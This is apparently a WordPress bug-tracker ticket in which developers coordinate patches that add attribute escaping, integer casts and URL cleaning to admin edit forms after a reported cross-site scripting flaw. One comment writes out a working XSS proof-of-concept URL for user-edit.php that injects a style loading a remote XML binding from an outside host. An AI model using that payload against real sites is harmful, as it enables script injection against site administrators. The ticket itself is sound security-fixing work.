Some attribute_escape()s and relatives for edit forms

[mdawaffe]

​http://ha.ckers.org/blog/20070524/wordpress-vulns/

Attached

[ryan]

The int casts can go in get_category_to_edit() and the other to_edit() functions since we always want them to be ints. attribute_escape() needs more context, so calling it from the forms is good.

[rob1n]

Also, looks like we could use some selected()'s in there.

[ryan]

(In [5543]) attribute_escape()s and int casts. see #4333

[rob1n]

Looks like those <select>'s options aren't going to work with selected().

[markjaquith]

Also needs to go into 2.2.1 and 2.0.11

[markjaquith]

(In [5550]) attribute_escape()s and int casts for 2.0.x: see #4333

[markjaquith]

2.2.1 remains.

[g30rg3x]

Well i make some trunk based patches for 2.2.
Obviously i don't add anything that has to be related with the trunk version.

Also i think that the trunk solution is incomplete because doesn't filter the user-edit.php based version of the bug:
user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'

[g30rg3x]

User-Edit.php Fix for trunk

[g30rg3x]

Patch for milestone 2.2, based on trunk chageset #5543

[markjaquith]

(In [5588]) use clean_url(). Nice catch, g30rg3x. see #4333 for trunk

[markjaquith]

(In [5589]) Int casting and misc escaping for 2.2 Props g30rg3x. fixes #4333 for 2.2